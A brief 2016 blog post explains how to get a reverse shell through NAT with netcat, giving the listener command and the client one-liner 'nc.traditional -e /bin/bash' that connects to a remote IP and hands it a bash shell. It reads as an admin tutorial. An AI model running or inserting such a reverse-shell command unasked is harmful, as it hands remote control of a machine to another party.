Saturday, October 29, 2016

reverse shell / reverse telnet with netcat

*** diagram

client (nat) --- internet  --- (public ip)server

final result, server will be able to access shell on client

1- both client and server install netcat
$ sudo apt-get install  netcat-traditional 


2- on server listen and wait for client conntection
$ nc -vvv -l -p 3322
Listening on [0.0.0.0] (family 0, port 3322)


3- on client connect to server
$ nc.traditional -e /bin/bash 192.168.202.1 3322

- snapshot of ifconfig on client shell from server terminal

No comments:

Post a Comment